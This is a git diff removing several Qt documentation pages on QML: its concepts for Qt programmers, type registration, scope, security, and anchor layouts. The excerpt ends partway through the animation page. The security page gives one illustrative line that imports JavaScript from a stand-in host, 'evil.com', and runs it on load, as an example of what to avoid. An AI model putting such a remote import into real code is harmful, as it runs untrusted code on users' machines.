a/doc/src/qml/qtprogrammers.qdoc +++ /dev/null @@ -1,197 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtprogrammers.html -\target qtprogrammers -\title QML for Qt Programmers -\brief learning QML for programmers with Qt knowledge - -While QML does not require Qt knowledge to use, if you \e are already familiar with Qt, -much of your knowledge is directly relevant to learning and using QML. Of course, -an application with a user interface defined in QML also uses Qt for all the non-UI -logic. - -\section1 Familiar Concepts - -QML provides direct access to the following concepts from Qt: - -\list - \li QAction - the \l {QML Basic Types}{action} type - \li QObject signals and slots - available as functions to call in JavaScript - \li QObject properties - available as variables in JavaScript - \li QWidget - QQuickView is a QML-displaying widget - \li Qt models - used directly in data binding (QAbstractItemModel) -\endlist - -Qt knowledge is \e required for \l{Extending QML with C++}, -and also for \l{Integrating QML Code with existing Qt UI code}. - -\section1 QML Items Compared with Widgets - -QML Items are very similar to widgets: they define the look and feel of the user -interface. Note that, while widgets haven't traditionally been used to define the -look and feel of view delegates, QML Items can be used for this as well. - -There are three structurally different types of widget: - -\list - \li Simple widgets that are not used as parents (QLabel, QCheckBox, QToolButton, etc.) - \li Parent widgets that are normally used as parents to other widgets (QGroupBox, - QStackedWidget, QTabWidget, etc.) - \li Compound widgets that are internally composed of child widgets (QComboBox, - QSpinBox, QFileDialog, QTabWidget, etc.) -\endlist - -QML Items also serve these purposes. Each is considered separately below. - -\section2 Simple Widgets - -The most important rule to remember while implementing a new QQuickItem in C++ -is that it should not contain any look and feel policies; leave that to the QML -usage of the item. - -As an example, imagine you wanted a reusable Button item. If you therefore decided -to write a QQuickItem subclass to implement a button, just as QToolButton -subclasses QWidget for this purpose, following the rule above, your -\c QDeclarativeButton would not have any appearance; just the notions of enabled, -triggering, etc. - -However, there is already an object in Qt that does this: QAction. - -QAction is the UI-agnostic essence of QPushButton, QCheckBox, QMenu items, -QToolButton, and other visual widgets that are commonly bound to a QAction. - -So, the job of implementing a checkbox abstraction for QML is already done by QAction. -The look and feel of an action, the appearance of the button, the transition -between states, and exactly how it responds to mouse, key, or touch input, should -all be left for definition in QML. - -It is illustrative to note that QDeclarativeTextEdit is built upon QTextControl, -QQuickWebView is built upon QWebPage, and ListView uses QAbstractItemModel, -just as QTextEdit, QWebView, and QListView are built upon those same UI-agnostic -components. - -The encapsulation of the look and feel that widgets provide is important, and for -this the QML concept of \l{QML Documents}{components} serves the same purpose. -If you are building a complete suite of applications which should have a -consistent look and feel, you should build a set of reusable components with the -look and feel you desire. - -So, to implement your reusable button, you would simply build a QML component. - - -\section2 Parent Widgets - -Parent widgets each provide a generic way to provide an interface to one or more -arbitrary widgets. A QTabWidget provides an interface to multiple "pages", one of -which is visible at any time, and a mechanism for selecting among them: the QTabBar. -A QScrollArea provides scrollbars around a widget that is otherwise too large to -fit in the available space. - -Nearly all such components can be created directly in QML. Only a few cases -which require very particular event handling, such as \l Flickable, require C++ -implementations. - -As an example, imagine you decided to make a generic tab widget item to be used -through your application suite wherever information is in such quantity that it -needs to be divided up into pages. - -A significant difference in the parenting concept with QML compare to QWidgets -is that while child items are positioned relative to their parents, there is no -requirement that they be wholly contained ("clipped") to the parent (although the -\l{Item::}{clipped} property of the child item does allow this where it is needed). -This difference has rather far-reaching consequences, for example: - -\list -\li A shadow or highlight around a widget could be a child of that widget. -\li Particle effects can flow outside the object where they originate. -\li Transitioning animations can "hide" items by visibly moving them beyond - the screen bounds. -\endlist - -\section2 Compound Widgets - -Some widgets provide functionality by composing other widgets as an "implementation -detail", providing a higher level API to the composition. QSpinBox for example is a -line edit and some buttons to increase/decrease the edited value. QFileDialog uses -a whole host of widgets to give the user a way of finding and selecting a file -name. - -When developing reusable QML Items, you may choose to do the same: build an item -composed of other items you have already defined. - -The only caveat when doing this is to consider the possible animations and -transitions that users of the compound item might wish to employ. For example, a -spinbox might need to smoothly transition from an arbitrary \l Text item, or -characters within a \l Text item, so your spinbox item would need to be sufficiently -flexible to allow such animation. - -\section1 QML Items Compared with Graphics Widgets - -The main difference between QML items and QGraphicsWidgets is how they are intended -to be used. The technical implementation details are much the same, but in practice -they are different because QML items are made for declarative and compositional use, -and QGraphicsWidgets are made for imperative and more integrated use. Both QML items -and QGraphicsWidgets inherit from QGraphicsObject, and can co-exist. The differences -are in the layout system and the interfacing with other components. Note that, as -QGraphicsWidgets tend more to be all-in-one packages, the equivalent of a -QGraphicsWidget may be many QML items composed across several QML files, but it can -still be loaded and used as a single QGraphicsObject from C++. - -QGraphicsWidgets are usually designed to be laid out with QGraphicsLayouts. QML does -not use QGraphicsLayouts, as the Qt layouts do not mix well with animated and fluid -UIs, so the geometry interface is one of the main differences. When writing QML -elements, you allow the designers to place their bounding rectangle using absolute -geometry, bindings or anchors (all set up for you when you inherit QQuickItem) -and you do not use layouts or size hints. If size hints are appropriate, then place -them in the QML documentation so that the designers know how to use the item best, -but still have complete control over the look and feel. - -The other main difference is that QGraphicsWidgets tend to follow the widget model, -in that they are a self-contained bundle of UI and logic. In contrast, QML -primitives are usually a single purpose item that does not fulfill a use case on -its own, but is composed into the equivalent of the widget inside the QML file. So -when writing QML Items, try to avoid doing UI logic or composing visual elements -inside the items. Try instead to write more general purpose primitives, so that the -look and feel (which involves the UI logic) can be written in QML. - -Both differences are caused by the different method of interaction. QGraphicsWidget -is a QGraphicsObject subclass which makes fluid UI development from C++ easier, and -QQuickItem is a QGraphicsObject subclass which makes fluid UI development -from QML easier. The difference, therefore, is primarily one of the interface -exposed, and the design of the items that come with it; the declarative primitives -for QML and nothing for QGraphicsWidget, because you need to write your own UI -logic into the subclass. - -If you wish to use both QML and C++ to write the UI, for example to ease the -transition period, it is recommended to use QQuickItem subclasses, although -you can use QGraphicsWidgets as well. To allow for easier use from C++, make the -root item of each C++ component a \l LayoutItem, and load individual "widgets" of -QML (possibly comprised of multiple files, and containing a self-contained bundle -of UI and logic) into your scene to replace individual QGraphicsWidgets one at a time. -*/ diff --git a/doc/src/qml/qtqml.qdoc b/doc/src/qml/qtqml.qdoc deleted file mode 100644 index 7bd797e..0000000 --- a/doc/src/qml/qtqml.qdoc +++ /dev/null @@ -1,371 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \module QtQml - \title Qt QML Module - \ingroup modules - - \brief The Qt QML module provides a declarative framework - for building highly dynamic, custom user interfaces. - - To include the definitions of the module's classes, use the - following directive: - - \code - #include - \endcode - - To link against the module, add this line to your \l qmake \c - .pro file: - - \code - QT += qml - \endcode - - For more information on the Qt QML module (including the visual - elements which are implemented on top of the Qt QML module) see the - \l{Qt Quick} documentation. -*/ - - -/*! - \macro QML_DECLARE_TYPE() - \relates QQmlEngine - - Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QQmlListProperty) - - #include to use this macro. -*/ - -/*! - \macro QML_DECLARE_TYPEINFO(Type,Flags) - \relates QQmlEngine - - Declares additional properties of the given \a Type as described by the - specified \a Flags. - - Current the only supported type info is \c QML_HAS_ATTACHED_PROPERTIES which - declares that the \a Type supports \l {Attached Properties}. - - #include to use this macro. -*/ - - -/*! - \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) - \relates QQmlEngine - - This template function registers the C++ type in the QML system with - the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor. - - Returns the QML type id. - - There are two forms of this template function: - - \code - template - int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); - - template - int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); - \endcode - - The former is the standard form which registers the type \e T as a new type. - The latter allows a particular revision of a class to be registered in - a specified version (see \l {QML Type Versioning}). - - - For example, this registers a C++ class \c MySliderItem as a QML type - named \c Slider for version 1.0 of a \l{QML Modules}{module} called - "com.mycompany.qmlcomponents": - - \code - #include - - ... - - qmlRegisterType("com.mycompany.qmlcomponents", 1, 0, "Slider"); - \endcode - - Once this is registered, the type can be used in QML by importing the - specified module name and version number: - - \qml - import com.mycompany.qmlcomponents 1.0 - - Slider { - // ... - } - \endqml - - Note that it's perfectly reasonable for a library to register types to older versions - than the actual version of the library. Indeed, it is normal for the new library to allow - QML written to previous versions to continue to work, even if more advanced versions of - some of its types are available. -*/ - -/*! - \fn int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) - \relates QQmlEngine - - This template function registers the specified revision of a C++ type in the QML system with - the library imported from \a uri having the version number composed - from \a versionMajor and \a versionMinor. - - Returns the QML type id. - - \code - template - int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor); - \endcode - - This function is typically used to register the revision of a base class to - use for the specified module version (see \l {QML Type Versioning}). -*/ - -/*! - \fn int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) - \relates QQmlEngine - - This template function registers the C++ type in the QML system with - the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor. - - While the type has a name and a type, it cannot be created, and the - given error \a message will result if creation is attempted. - - This is useful where the type is only intended for providing attached properties or enum values. - - Returns the QML type id. - - #include to use this function. - - \sa qmlRegisterTypeNotAvailable() -*/ - -/*! - \fn int qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) - \relates QQmlEngine - - This function registers a type in the QML system with the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor, but any attempt to instantiate the type - will produce the given error \a message. - - Normally, the types exported by a module should be fixed. However, if a C++ type is not available, you should - at least "reserve" the QML type name, and give the user of your module a meaningful error message. - - Returns the QML type id. - - Example: - - \code - #ifdef NO_GAMES_ALLOWED - qmlRegisterTypeNotAvailable("MinehuntCore", 0, 1, "Game", "Get back to work, slacker!"); - #else - qmlRegisterType("MinehuntCore", 0, 1, "Game"); - #endif - \endcode - - This will cause any QML which uses this module and attempts to use the type to produce an error message: - \code - fun.qml: Get back to work, slacker! - Game { - ^ - \endcode - - Without this, a generic "Game is not a type" message would be given. - - #include to use this function. - - \sa qmlRegisterUncreatableType() -*/ - -/*! - \fn int qmlRegisterType() - \relates QQmlEngine - \overload - - This template function registers the C++ type in the QML - system. Instances of this type cannot be created from the QML - system. - - #include to use this function. - - Returns the QML type id. -*/ - -/*! - \fn int qmlRegisterInterface(const char *typeName) - \relates QQmlEngine - - This template function registers the C++ type in the QML system - under the name \a typeName. - - #include to use this function. - - Returns the QML type id. -*/ - -/*! - \fn int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMinor, QJSValue (*callback)(QQmlEngine *, QJSEngine *)) - \relates QQmlEngine - - This function may be used to register a module API provider \a callback in a particular \a uri - with a version specified in \a versionMajor and \a versionMinor. - - Installing a module API into a uri allows developers to provide arbitrary functionality - (methods and properties) in a namespace that doesn't necessarily contain elements. - - A module API may be either a QObject or a QJSValue. Only one module API provider - may be registered into any given namespace (combination of \a uri, \a versionMajor and \a versionMinor). - This function should be used to register a module API provider function which returns a QJSValue as a module API. - - \b{NOTE:} QJSValue module API properties will \b{not} trigger binding re-evaluation if changed. - - Usage: - \code - // first, define the module API provider function (callback). - static QJSValue *example_qjsvalue_module_api_provider(QQmlEngine *engine, QJSEngine *scriptEngine) - { - Q_UNUSED(engine) - - static int seedValue = 5; - QJSValue example = scriptEngine->newObject(); - example.setProperty("someProperty", seedValue++); - return example; - } - - // second, register the module API provider with QML by calling this function in an initialization function. - ... - qmlRegisterModuleApi("Qt.example.qjsvalueApi", 1, 0, example_qjsvalue_module_api_provider); - ... - \endcode - - In order to use the registered module API in QML, you must import the module API. - \qml - import QtQuick 2.0 - import Qt.example.qjsvalueApi 1.0 as ExampleApi - Item { - id: root - property int someValue: ExampleApi.someProperty - } - \endqml - */ - -/*! - \internal - \fn int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMinor, QObject *(*callback)(QQmlEngine *, QJSEngine *)) - \deprecated - - Any uses of a module API in a binding where that module API was registered with this - function instead of the template version will result in suboptimal binding generation. - */ - -/*! - \fn template int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMinor, QObject *(*callback)(QQmlEngine *, QJSEngine *)) - \relates QQmlEngine - - This function may be used to register a module API provider \a callback in a particular \a uri - with a version specified in \a versionMajor and \a versionMinor. - - Installing a module API into a uri allows developers to provide arbitrary functionality - (methods and properties) in a namespace that doesn't necessarily contain elements. - - A module API may be either a QObject or a QJSValue. Only one module API provider - may be registered into any given namespace (combination of \a uri, \a versionMajor and \a versionMinor). - This function should be used to register a module API provider function which returns a QObject - of the given type T as a module API. - - A QObject module API must be imported with a qualifier, and that qualifier may be used as - the target in a \l Connections element or otherwise used as any other element id would. - One exception to this is that a QObject module API property may not be aliased (because the - module API qualifier does not identify an object within the same component as any other item). - - \b{NOTE:} A QObject module API instance returned from a module API provider is owned by the QML - engine. For this reason, the module API provider function should \b{not} be implemented as a - singleton factory. - - Usage: - \code - // first, define your QObject which provides the functionality. - class ModuleApiExample : public QObject - { - Q_OBJECT - Q_PROPERTY (int someProperty READ someProperty WRITE setSomeProperty NOTIFY somePropertyChanged) - - public: - ModuleApiExample(QObject* parent = 0) - : QObject(parent), m_someProperty(0) - { - } - - ~ModuleApiExample() {} - - Q_INVOKABLE int doSomething() { setSomeProperty(5); return m_someProperty; } - - int someProperty() const { return m_someProperty; } - void setSomeProperty(int val) { m_someProperty = val; emit somePropertyChanged(val); } - - signals: - void somePropertyChanged(int newValue); - - private: - int m_someProperty; - }; - - // second, define the module API provider function (callback). - static QObject *example_qobject_module_api_provider(QQmlEngine *engine, QJSEngine *scriptEngine) - { - Q_UNUSED(engine) - Q_UNUSED(scriptEngine) - - ModuleApiExample *example = new ModuleApiExample(); - return example; - } - - // third, register the module API provider with QML by calling this function in an initialization function. - ... - qmlRegisterModuleApi("Qt.example.qobjectApi", 1, 0, example_qobject_module_api_provider); - ... - \endcode - - In order to use the registered module API in QML, you must import the module API. - \qml - import QtQuick 2.0 - import Qt.example.qobjectApi 1.0 as ExampleApi - Item { - id: root - property int someValue: ExampleApi.someProperty - - Component.onCompleted: { - someValue = ExampleApi.doSomething() - } - } - \endqml - */ diff --git a/doc/src/qml/scope.qdoc b/doc/src/qml/scope.qdoc deleted file mode 100644 index 15cebc7..0000000 --- a/doc/src/qml/scope.qdoc +++ /dev/null @@ -1,308 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qml-scope.html -\contentspage QML Reference -\ingroup qml-features -\title QML Scope -\brief access hierarchy in QML -\tableofcontents - -QML property bindings, inline functions, and imported JavaScript files all -run in a JavaScript scope. Scope controls which variables an expression can -access, and which variable takes precedence when two or more names conflict. - -As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit -more naturally with the QML language extensions. - -\section1 JavaScript Scope - -QML's scope extensions do not interfere with JavaScript's natural scoping. -JavaScript programmers can reuse their existing knowledge when programming -functions, property bindings or imported JavaScript files in QML. - -In the following example, the \c {addConstant()} method will add 13 to the -parameter passed just as the programmer would expect irrespective of the -value of the QML object's \c a and \c b properties. - -\code -QtObject { - property int a: 3 - property int b: 9 - - function addConstant(b) { - var a = 13; - return b + a; - } -} -\endcode - -That QML respects JavaScript's normal scoping rules even applies in bindings. -This totally evil, abomination of a binding will assign 12 to the QML object's -\c a property. - -\code -QtObject { - property int a - - a: { var a = 12; a; } -} -\endcode - -Every JavaScript expression, function or file in QML has its own unique -variable object. Local variables declared in one will never conflict -with local variables declared in another. - -\section1 Element Names and Imported JavaScript Files - -\l {QML Document}s include import statements that define the element names -and JavaScript files visible to the document. In addition to their use in the -QML declaration itself, element names are used by JavaScript code when accessing -\l {Attached Properties} and enumeration values. - -The effect of an import applies to every property binding, and JavaScript -function in the QML document, even those in nested inline components. The -following example shows a simple QML file that accesses some enumeration -values and calls an imported JavaScript function. - -\code -import QtQuick 2.0 -import "code.js" as Code - -ListView { - snapMode: ListView.SnapToItem - - delegate: Component { - Text { - elide: Text.ElideMiddle - text: "A really, really long string that will require eliding." - color: Code.defaultColor() - } - } -} -\endcode - -\section1 Binding Scope Object - -Property bindings are the most common use of JavaScript in QML. Property -bindings associate the result of a JavaScript expression with a property of an -object. The object to which the bound property belongs is known as the binding's -scope object. In this QML simple declaration the \l Item object is the -binding's scope object. - -\code -Item { - anchors.left: parent.left -} -\endcode - -Bindings have access to the scope object's properties without qualification. -In the previous example, the binding accesses the \l Item's \c parent property -directly, without needing any form of object prefix. QML introduces a more -structured, object-oriented approach to JavaScript, and consequently does not -require the use of the JavaScript \c this property. - -Care must be used when accessing \l {Attached Properties} from bindings due -to their interaction with the scope object. Conceptually attached properties -exist on \e all objects, even if they only have an effect on a subset of those. -Consequently unqualified attached property reads will always resolve to an -attached property on the scope object, which is not always what the programmer -intended. - -For example, the \l PathView element attaches interpolated value properties to -its delegates depending on their position in the path. As PathView only -meaningfully attaches these properties to the root element in the delegate, any -sub-element that accesses them must explicitly qualify the root object, as shown -below. - -\code -PathView { - delegate: Component { - Rectangle { - id: root - Image { - scale: root.PathView.scale - } - } - } -} -\endcode - -If the \l Image element omitted the \c root prefix, it would inadvertently access -the unset \c {PathView.scale} attached property on itself. - -\section1 Component Scope - -Each QML component in a QML document defines a logical scope. Each document -has at least one root component, but can also have other inline sub-components. -The component scope is the union of the object ids within the component and the -component's root element's properties. - -\code -Item { - property string title - - Text { - id: titleElement - text: "" + title + "" - font.pixelSize: 22 - anchors.top: parent.top - } - - Text { - text: titleElement.text - font.pixelSize: 18 - anchors.bottom: parent.bottom - } -} -\endcode - -The example above shows a simple QML component that displays a rich text title -string at the top, and a smaller copy of the same text at the bottom. The first -\c Text element directly accesses the component's \c title property when -forming the text to display. That the root element's properties are directly -accessible makes it trivial to distribute data throughout the component. - -The second \c Text element uses an id to access the first's text directly. IDs -are specified explicitly by the QML programmer so they always take precedence -over other property names (except for those in the \l {JavaScript Scope}). For -example, in the unlikely event that the binding's \l {Binding Scope Object}{scope -object} had a \c titleElement property in the previous example, the \c titleElement -id would still take precedence. - -\section1 Component Instance Hierarchy - -In QML, component instances connect their component scopes together to form a -scope hierarchy. Component instances can directly access the component scopes of -their ancestors. - -The easiest way to demonstrate this is with inline sub-components whose component -scopes are implicitly scoped as children of the outer component. - -\code -Item { - property color defaultColor: "blue" - - ListView { - delegate: Component { - Rectangle { - color: defaultColor - } - } - } -} -\endcode - -The component instance hierarchy allows instances of the delegate component -to access the \c defaultColor property of the \c Item element. Of course, -had the delegate component had a property called \c defaultColor that would -have taken precedence. - -The component instance scope hierarchy extends to out-of-line components, too. -In the following example, the \c TitlePage.qml component creates two -\c TitleText instances. Even though the \c TitleText element is in a separate -file, it still has access to the \c title property when it is used from within -the \c TitlePage. QML is a dynamically scoped language - depending on where it -is used, the \c title property may resolve differently. - -\code -// TitlePage.qml -import QtQuick 2.0 -Item { - property string title - - TitleText { - size: 22 - anchors.top: parent.top - } - - TitleText { - size: 18 - anchors.bottom: parent.bottom - } -} - -// TitleText.qml -import QtQuick 2.0 -Text { - property int size - text: "" + title + "" - font.pixelSize: size -} -\endcode - -Dynamic scoping is very powerful, but it must be used cautiously to prevent -the behavior of QML code from becoming difficult to predict. In general it -should only be used in cases where the two components are already tightly -coupled in another way. When building reusable components, it is preferable -to use property interfaces, like this: - -\code -// TitlePage.qml -import QtQuick 2.0 -Item { - id: root - property string title - - TitleText { - title: root.title - size: 22 - anchors.top: parent.top - } - - TitleText { - title: root.title - size: 18 - anchors.bottom: parent.bottom - } -} - -// TitleText.qml -import QtQuick 2.0 -Text { - property string title - property int size - - text: "" + title + "" - font.pixelSize: size -} -\endcode - -\section1 JavaScript Global Object - -In addition to all the properties that a developer would normally expect on -the JavaScript global object, QML adds some custom extensions to make UI or -QML specific tasks a little easier. The -\l{JavaScript Runtime}{JavaScript runtime} and the \l{QML Scope} articles -contain more information about the scoping -capabilities - -QML disallows element, id and property names that conflict with the properties -on the global object to prevent any confusion. Programmers can be confident -that \c Math.min(10, 9) will always work as expected! - -*/ diff --git a/doc/src/qml/security.qdoc b/doc/src/qml/security.qdoc deleted file mode 100644 index 190d693..0000000 --- a/doc/src/qml/security.qdoc +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-security.html -\title QML Security -\section1 QML Security -\brief the security model in QML - -The QML security model is that QML content is a chain of trusted content: the user -installs QML content that they trust in the same way as they install native Qt applications, -or programs written with runtimes such as Python and Perl. That trust is establish by any -of a number of mechanisms, including the availability of package signing on some platforms. - -In order to preserve the trust of users, developers producing QML content should not execute -arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. - -For example, this QML content: - -\qml -import QtQuick 2.0 -import "http://evil.com/evil.js" as Evil - -Component { - onLoaded: Evil.doEvil() -} -\endqml - -is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution -environment of QML does not try to stop any particular accesses, including local file system -access, just as for any native Qt application, so the "doEvil" function could do the same things -as a native Qt application, a Python application, a Perl script, etc. - -As with any application accessing other content beyond it's control, a QML application should -perform appropriate checks on untrusted data it loads. - -A non-exhaustive list of the ways you could shoot yourself in the foot is: - -\list - \li Using \c import to import QML or JavaScript you do not control. BAD - \li Using \l Loader to import QML you do not control. BAD - \li Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD -\endlist - -However, the above does not mean that you have no use for the network transparency of QML. -There are many good and useful things you \e can do: - -\list - \li Create \l Image elements with source URLs of any online images. GOOD - \li Use XmlListModel to present online content. GOOD - \li Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD -\endlist - -The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, -has quite many restrictions. With QML, you should neither rely on similar restrictions, nor -worry about working around them. -*/ diff --git a/doc/src/qtquick2/anchor-layout.qdoc b/doc/src/qtquick2/anchor-layout.qdoc deleted file mode 100644 index fb2d8b7..0000000 --- a/doc/src/qtquick2/anchor-layout.qdoc +++ /dev/null @@ -1,143 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-anchorlayout.html -\contentspage QML Features -\title Layouts with Anchors -\brief placing items with anchor properties - -\target anchor-layout -In addition to the more traditional \l Grid, \l Row, and \l Column, -QML also provides a way to layout items using the concept of \e anchors. -Each item can be thought of as having a set of 7 invisible "anchor lines": -\l {Item::anchors.left}{left}, \l {Item::anchors.horizontalCenter}{horizontalCenter}, -\l {Item::anchors.right}{right}, \l {Item::anchors.top}{top}, -\l {Item::anchors.verticalCenter}{verticalCenter}, \l {Item::anchors.baseline}{baseline}, -and \l {Item::anchors.bottom}{bottom}. - -\image edges_qml.png - -The baseline (not pictured above) corresponds to the imaginary line on which -text would sit. For items with no text it is the same as \e top. - -The QML anchoring system allows you to define relationships between the anchor lines of different items. For example, you can write: - -\code -Rectangle { id: rect1; ... } -Rectangle { id: rect2; anchors.left: rect1.right; ... } -\endcode - -In this case, the left edge of \e rect2 is bound to the right edge of \e rect1, producing the following: - -\image edge1.png - - -You can specify multiple anchors. For example: - -\code -Rectangle { id: rect1; ... } -Rectangle { id: rect2; anchors.left: rect1.right; anchors.top: rect1.bottom; ... } -\endcode - -\image edge3.png - -By specifying multiple horizontal or vertical anchors you can control the size of an item. Below, -\e rect2 is anchored to the right of \e rect1 and the left of \e rect3. If either of the blue -rectangles are moved, \e rect2 will stretch and shrink as necessary: - -\code -Rectangle { id: rect1; x: 0; ... } -Rectangle { id: rect2; anchors.left: rect1.right; anchors.right: rect3.left; ... } -Rectangle { id: rect3; x: 150; ... } -\endcode - -\image edge4.png - -There are also some convenience anchors. anchors.fill is a convenience that is the same as setting the left,right,top and bottom anchors -to the left,right,top and bottom of the target item. anchors.centerIn is another convenience anchor, and is the same as setting the verticalCenter -and horizontalCenter anchors to the verticalCenter and horizontalCenter of the target item. - -\section1 Anchor Margins and Offsets - -The anchoring system also allows \e margins and \e offsets to be specified for an item's anchors. -Margins specify the amount of empty space to leave to the outside of an item's anchor, while -offsets allow positioning to be manipulated using the center anchor lines. An item can -specify its anchor margins individually through \l {Item::anchors.leftMargin}{leftMargin}, -\l {Item::anchors.rightMargin}{rightMargin}, \l {Item::anchors.topMargin}{topMargin} and -\l {Item::anchors.bottomMargin}{bottomMargin}, or use \l {Item::}{anchors.margins} to -specify the same margin value for all four edges. Anchor offsets are specified using -\l {Item::anchors.horizontalCenterOffset}{horizontalCenterOffset}, -\l {Item::anchors.verticalCenterOffset}{verticalCenterOffset} and -\l {Item::anchors.baselineOffset}{baselineOffset}. - -\image margins_qml.png - -The following example specifies a left margin: - -\code -Rectangle { id: rect1; ... } -Rectangle { id: rect2; anchors.left: rect1.right; anchors.leftMargin: 5; ... } -\endcode - -In this case, a margin of 5 pixels is reserved to the left of \e rect2, producing the following: - -\image edge2.png - -\note Anchor margins only apply to anchors; they are \e not a generic means of applying margins to an \l Item. -If an anchor margin is specified for an edge but the item is not anchored to any item on that -edge, the margin is not applied. - - -\section1 Restrictions - -For performance reasons, you can only anchor an item to its siblings and direct parent. For example, -the following anchor is invalid and would produce a warning: - -\badcode -Item { - id: group1 - Rectangle { id: rect1; ... } -} -Item { - id: group2 - Rectangle { id: rect2; anchors.left: rect1.right; ... } // invalid anchor! -} -\endcode - -Also, anchor-based layouts cannot be mixed with absolute positioning. If an item specifies its -\l {Item::}{x} position and also sets \l {Item::}{anchors.left}, -or anchors its left and right edges but additionally sets a \l {Item::}{width}, the -result is undefined, as it would not be clear whether the item should use anchoring or absolute -positioning. The same can be said for setting an item's \l {Item::}{y} and \l {Item::}{height} -with \l {Item::}{anchors.top} and \l {Item::}{anchors.bottom}, or setting \l {Item::}{anchors.fill} -as well as \l {Item::}{width} or \l {Item::}{height}. The same applies when using positioners -such as Row and Grid, which may set the item's \l {Item::}{x} and \l {Item::}{y} properties. -If you wish to change from using -anchor-based to absolute positioning, you can clear an anchor value by setting it to \c undefined. - -*/ diff --git a/doc/src/qtquick2/animation.qdoc b/doc/src/qtquick2/animation.qdoc deleted file mode 100644 index 00513a0..0000000 --- a/doc/src/qtquick2/animation.qdoc +++ /dev/null @@ -1,266 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-animation.html -\title Animation and Transitions -\brief the animation system in Qt Quick - -\section1 Animation and Transitions Elements -\list -\li \l {Transition} - Animates transitions during state changes -\li \l {SequentialAnimation} - Runs animations sequentially -\li \l {ParallelAnimation} - Runs animations in parallel -\li \l {Behavior} - Specifies a default animation for property changes -\li \l {PropertyAction} - Sets immediate property changes during animation -\li \l {PauseAnimation} - Introduces a pause in an animation -\li \l {SmoothedAnimation} - Allows a property to 